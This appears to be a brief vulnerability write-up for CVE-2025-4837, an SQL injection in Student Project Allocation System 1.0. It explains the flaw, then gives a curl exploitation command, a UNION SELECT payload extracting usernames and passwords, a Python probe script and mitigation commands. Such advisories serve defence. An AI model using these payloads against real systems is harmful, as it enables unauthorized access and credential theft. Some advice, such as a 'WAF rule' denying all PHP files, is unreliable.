How CVE-2025-4837 Works
This vulnerability exploits improper input sanitization in the `/make_group_sql.php` file of Student Project Allocation System 1.0. Attackers manipulate the mem1, mem2, and `mem3` parameters to inject malicious SQL queries. Due to lack of prepared statements, the application directly concatenates user input into SQL commands, enabling unauthorized database access, data exfiltration, or remote code execution. The attack is remotely exploitable without authentication, making it critical.
DailyCVE Form
Platform: Student Project Allocation System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/28/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploitation Commands
curl -X POST "http://target.com/make_group_sql.php" -d "mem1=' OR 1=1--&mem2=1&mem3=1"
' UNION SELECT username, password FROM users--
Detection Script
import requests
url = "http://target.com/make_group_sql.php"
payload = {"mem1": "' OR '1'='1", "mem2": "1", "mem3": "1"}
response = requests.post(url, data=payload)
if "error" in response.text:
print("Vulnerable to SQLi")
Mitigation Steps
1. Use parameterized queries:
$stmt = $conn->prepare("INSERT INTO groups (mem1, mem2, mem3) VALUES (?, ?, ?)");
$stmt->bind_param("sss", $mem1, $mem2, $mem3);
2. Apply WAF rules:
location ~ .php$ {
deny all;
}
3. Patch validation:
grep -r "mysql_query" /var/www/html/
4. Log analysis command:
tail -f /var/log/apache2/access.log | grep "make_group_sql.php"
5. Temporary block exploit:
iptables -A INPUT -p tcp --dport 80 -m string --string "mem1=" --algo bm -j DROP
